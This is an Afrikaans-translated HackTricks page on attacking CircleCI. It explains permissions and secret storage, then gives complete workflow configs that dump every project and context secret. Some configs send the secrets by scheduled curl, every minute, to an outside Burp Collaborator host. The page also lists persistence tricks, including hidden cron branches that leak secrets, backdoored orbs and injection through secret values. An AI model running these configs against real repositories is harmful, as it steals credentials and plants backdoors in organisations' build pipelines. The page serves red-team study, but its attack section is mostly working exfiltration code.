CircleCI Sekuriteit

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

CircleCI is ’n Kontinuïteitsintegrasie-platform waar jy sjablone kan definieer wat jy wil hê dit moet met ’n paar kode doen en wanneer om dit te doen. Op hierdie manier kan jy toetsing of ontplooiings outomaties van jou repo hooftak doen byvoorbeeld.

Toestemmings

CircleCI erf die toestemmings van github en bitbucket wat verband hou met die rekening wat aanmeld.
In my toetse het ek gekontroleer dat solank jy skryftoestemmings oor die repo in github het, jy in staat sal wees om sy projekinstellings in CircleCI te bestuur (nuwe ssh sleutels op te stel, projek api sleutels te kry, nuwe takke met nuwe CircleCI konfigurasies te skep…).

Jy moet egter ’n repo admin wees om die repo in ’n CircleCI projek te omskep.

Omgewing Veranderlikes & Geheime

Volgens die dokumentasie is daar verskillende maniere om waardes in omgewing veranderlikes binne ’n werksvloei te laai.

Ingeboude omgewing veranderlikes

Elke houer wat deur CircleCI gedraai word, sal altyd spesifieke omgewing veranderlikes gedefinieer in die dokumentasie hê soos CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME of CIRCLE_USERNAME.

Duidelike teks

Jy kan hulle in duidelike teks binne ’n opdrag verklaar:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

U kan dit in duidelike teks binne die run environment verklaar:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Jy kan hulle in duidelike teks binne die build-job omgewing verklaar:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Jy kan hulle in duidelike teks binne die omgewing van ’n houer verklaar:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Projek Geheime

Dit is geheime wat slegs toeganklik gaan wees deur die projek (deur enige tak).
Jy kan hulle verklaar in https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Caution

Die “Import Variabels” funksionaliteit laat toe om variabels van ander projekte na hierdie een te importeer.

Konteks Geheime

Dit is geheime wat organisasie wyd is. Deur verstek kan enige repo enige geheim wat hier gestoor is toegang hê:

Tip

Let egter daarop dat ’n ander groep (in plaas van Alle lede) kan wees geselekteer om slegs toegang tot die geheime aan spesifieke mense te gee.
Dit is tans een van die beste maniere om die veiligheid van die geheime te verhoog, om nie te laat dat almal toegang het nie, maar net sommige mense.

Aanvalle

Soek Duidelike Teks Geheime

As jy toegang het tot die VCS (soos github) kyk na die lêer .circleci/config.yml van elke repo op elke tak en soek na potensiële duidelike teks geheime wat daar gestoor is.

Geheim Env Vars & Konteks enumerasie

Deur die kode na te gaan kan jy alle geheime name vind wat in elke .circleci/config.yml lêer gebruik word. Jy kan ook die konteks name van daardie lêers kry of hulle in die webkonsol nagaan: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Ekstrakteer Projek geheime

Warning

Ten einde ALLES van die projek en konteks GEHEIME te ekstrakteer moet jy net SKRYF toegang hê tot net 1 repo in die hele github organisasie (en jou rekening moet toegang hê tot die kontekste, maar deur verstek kan almal toegang hê tot elke konteks).

Caution

Die “Import Variabels” funksionaliteit laat toe om variabels van ander projekte na hierdie een te importeer. Daarom kan ’n aanvaller alle projekvariabels van al die repos importeer en dan almal saam ekstrakteer.

Alle projek geheime is altyd in die omgewing van die werksgeleenthede ingestel, so net deur om omgewing aan te roep en dit in base64 te obfuskeer, sal die geheime in die werkvloei weblogkonsol geëkstrakteer word:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

As jy nie toegang tot die webkonsol het nie, maar jy het toegang tot die repo en jy weet dat CircleCI gebruik word, kan jy net ’n werksvloei skep wat elke minuut geaktiveer word en wat die geheime na ’n eksterne adres uitvoer:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Exfiltreer Konteks Geheime

Jy moet die konteksnaam spesifiseer (dit sal ook die projekgeheime eksfiltreer):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

As jy nie toegang tot die webkonsol het nie, maar jy het toegang tot die repo en jy weet dat CircleCI gebruik word, kan jy net ’n werksvloei aanpas wat elke minuut geaktiveer word en wat die geheime na ’n eksterne adres stuur:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Warning

Om net ’n nuwe .circleci/config.yml in ’n repo te skep is nie genoeg om ’n circleci bou te aktiveer nie. Jy moet dit as ’n projek in die circleci konsole aktiveer.

Ontsnap na die Wolk

CircleCI gee jou die opsie om jou boue in hul masjiene of in jou eie te laat loop.
Standaard is hul masjiene geleë in GCP, en jy sal aanvanklik nie iets relevants kan vind nie. As ’n slagoffer egter die take in hulle eie masjiene (potensieel, in ’n wolk omgewing) uitvoer, kan jy ’n wolk metadata eindpunt met interessante inligting daarop vind.

Let daarop dat in die vorige voorbeelde alles binne ’n docker houer gelanseer is, maar jy kan ook vra om ’n VM masjien te lanseer (wat dalk verskillende wolk toestemmings kan hê):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Of selfs ’n docker-container met toegang tot ’n afstands-docker-diens:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Volharding

  • Dit is moontlik om gebruikertokens in CircleCI te skep om toegang tot die API-eindpunte met die gebruikers se toegang te verkry.
  • https://app.circleci.com/settings/user/tokens
  • Dit is moontlik om projektokens te skep om toegang tot die projek met die toestemmings wat aan die token gegee is, te verkry.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/api
  • Dit is moontlik om SSH-sleutels aan die projekte toe te voeg.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
  • Dit is moontlik om ’n cron-taak in ’n verborge tak in ’n onverwagte projek te skep wat elke dag al die context env vars lek.
  • Of selfs in ’n tak te skep / ’n bekende taak te wysig wat elke dag al die konteks en projeksecrets sal lek.
  • As jy ’n github-eienaar is, kan jy ongeverifieerde orbs toelaat en een in ’n taak as agterdeur konfigureer.
  • Jy kan ’n opdraginjektievulnerabiliteit in sommige take vind en opdragte via ’n geheim deur sy waarde te wysig injekteer.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks